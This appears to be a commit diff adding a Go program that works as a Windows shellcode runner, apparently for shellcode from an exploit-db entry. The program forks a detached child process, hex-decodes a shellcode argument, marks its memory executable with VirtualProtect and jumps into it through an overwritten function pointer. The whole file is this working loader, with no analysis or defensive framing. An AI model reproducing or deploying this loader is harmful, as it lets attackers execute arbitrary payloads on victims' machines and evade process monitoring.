|
| 1 | +// This program runs the shellcode from: https://www.exploit-db.com/exploits/40245/ |
| 2 | +// |
| 3 | +// As the shellcode is 32 bit, this must also be compiled as a 32 bit go application |
| 4 | +// via "set GOARCH=386" |
| 5 | + |
| 6 | +package main |
| 7 | + |
| 8 | +import ( |
| 9 | + "encoding/hex" |
| 10 | + "fmt" |
| 11 | + "log" |
| 12 | + "os" |
| 13 | + "os/exec" |
| 14 | + "syscall" |
| 15 | + "unsafe" |
| 16 | +) |
| 17 | + |
| 18 | +var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") |
| 19 | + |
| 20 | +func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { |
| 21 | + ret, _, _ := procVirtualProtect.Call( |
| 22 | + uintptr(lpAddress), |
| 23 | + uintptr(dwSize), |
| 24 | + uintptr(flNewProtect), |
| 25 | + uintptr(lpflOldProtect)) |
| 26 | + return ret > 0 |
| 27 | +} |
| 28 | + |
| 29 | +func fork() bool { |
| 30 | + if os.Getenv("CHILD") != "" { |
| 31 | + return false |
| 32 | + } |
| 33 | + |
| 34 | + log.Println("Forking child") |
| 35 | + os.Setenv("CHILD", "true") |
| 36 | + cmd := exec.Command(os.Args[0], os.Args[1:]...) |
| 37 | + cmd.Start() |
| 38 | + return true |
| 39 | +} |
| 40 | + |
| 41 | +func main() { |
| 42 | + if fork() { |
| 43 | + os.Exit(0) |
| 44 | + } |
| 45 | + shellcode, err := hex.DecodeString(os.Args[1]) |
| 46 | + if err != nil { |
| 47 | + fmt.Printf("Error decoding arg 1: %s\n", err) |
| 48 | + os.Exit(1) |
| 49 | + } |
| 50 | + |
| 51 | + // Make a function ptr |
| 52 | + f := func() {} |
| 53 | + |
| 54 | + // Change permsissions on f function ptr |
| 55 | + var oldfperms uint32 |
| 56 | + if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) { |
| 57 | + panic("Call to VirtualProtect failed!") |
| 58 | + } |
| 59 | + |
| 60 | + // Override function ptr |
| 61 | + **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&shellcode)) |
| 62 | + |
| 63 | + // Change permsissions on shellcode string data |
| 64 | + var oldshellcodeperms uint32 |
| 65 | + if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&shellcode))), uintptr(len(shellcode)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) { |
| 66 | + panic("Call to VirtualProtect failed!") |
| 67 | + } |
| 68 | + |
| 69 | + // Call the function ptr it |
| 70 | + f() |
| 71 | +} |
0 commit comments